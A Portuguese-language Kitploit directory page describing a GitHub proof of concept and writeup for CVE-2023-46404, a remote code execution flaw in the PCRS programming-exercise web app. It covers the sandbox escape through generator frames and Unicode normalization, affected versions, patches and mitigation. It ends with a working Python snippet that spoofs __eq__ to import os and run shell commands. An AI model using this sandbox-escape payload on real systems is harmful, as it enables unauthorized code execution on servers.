Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/windecks/cve-2023-46404
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubwindecks/cve-2023-46404

CVE-2023-46404

PoC e Writeup para CVE-2023-46404.

Ver Repositório
3há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-46404

PCRS é uma aplicação web para exercícios de programação online desenvolvida na Universidade de Toronto. Veja o repositório Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/

Resumo

A página “Questions” do PCRS, com submissão de código, e a página “Code editor” são vulneráveis a execução remota de código (RCE) ao escapar do sandboxing do Python.

Detalhes

A execução remota de código pode ser alcançada em instâncias do PCRS por meio do uso de objetos geradores. Ao utilizar frames de geradores (gi_frame) e f_back, scripts podem atravessar para fora de um frame de pilha com sandbox e executar código malicioso em um ambiente sem sandbox. Além disso, a normalização Unicode pode facilmente contornar a sanitização básica de entrada. Qualquer usuário autenticado com privilégios mínimos pode realizar esse ataque. Consulte o PoC para mais detalhes.

Versões Afetadas Conhecidas

  • PCRS <= 3.11 d0de1e com execução de Python.
  • Patch implementado em 9326ad3 com mitigação parcial em fbaedd3.

Mitigação

Criar mecanismos de isolamento seguros do zero é propenso a descuidos e vulnerabilidades. Como sempre, é melhor colocar em sandbox um ambiente de execução do que uma linguagem.

Extra

Sobrescrever __eq__ pode ser usado em um ambiente restrito:

root@kitploit:~
def f():
    mod_name = "os"
    fake_name = "json"
    os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
    os.system("id > /tmp/test.txt")
    s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
    os.system("rm /tmp/test.txt")
    return s
Baixar ferramenta